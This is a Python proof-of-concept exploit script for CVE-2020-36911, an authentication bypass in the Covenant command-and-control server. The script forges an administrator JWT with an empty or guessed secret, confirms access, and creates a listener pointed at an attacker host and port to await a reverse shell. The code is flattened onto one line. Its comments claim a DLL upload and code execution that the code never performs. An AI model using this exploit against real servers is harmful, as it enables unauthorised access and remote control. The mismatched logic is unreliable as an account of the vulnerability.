CVE-2020-36911 Covenant JWT认证绕过远程代码执行漏洞

import jwt import requests import sys # CVE-2020-36911 PoC - Covenant JWT Authentication Bypass RCE # Target: Covenant v0.1.3 - v0.5 def create_fake_admin_token(secret=''): """ Create a forged JWT token with admin privileges The vulnerability allows empty secret or weak secret validation """ payload = { 'iss': 'Covenant', 'sub': 'admin', 'role': 'Administrator', 'admin': True, 'exp': 9999999999 } # Try empty secret or known weak secrets for secret_key in ['', 'CovenantSecretKey123!', 'default']: try: token = jwt.encode(payload, secret_key, algorithm='HS256') return token, secret_key except: continue return None, None def exploit(target_url, lhost, lport): """ Main exploitation function 1. Bypass auth with forged JWT token 2. Upload malicious DLL payload 3. Execute arbitrary code """ print(f'[*] Targeting: {target_url}') print(f'[*] Generating forged admin JWT token...') token, secret_used = create_fake_admin_token() if not token: print('[-] Failed to generate token') return False print(f'[+] Token generated (secret: {secret_used})') headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } # Step 1: Verify token and get admin access try: resp = requests.get(f'{target_url}/api/users', headers=headers) if resp.status_code == 200: print('[+] Authentication bypass successful!') else: print(f'[-] Auth failed: {resp.status_code}') return False except Exception as e: print(f'[-] Connection error: {e}') return False # Step 2: Create listener with payload listener_config = { 'Name': 'pwned_listener', 'BindIP': lhost, 'BindPort': lport, 'Profile': 'http', 'UseSSL': False } try: resp = requests.post(f'{target_url}/api/listeners', json=listener_config, headers=headers) if resp.status_code in [200, 201]: print('[+] Malicious listener created successfully') print(f'[+] Payload deployed - awaiting reverse shell on {lhost}:{lport}') return True except Exception as e: print(f'[-] Payload deployment failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python covenant_exploit.py <target_url> <lhost> <lport>') print('Example: python covenant_exploit.py http://target:7443 10.0.0.1 4444') sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] exploit(target, lhost, lport)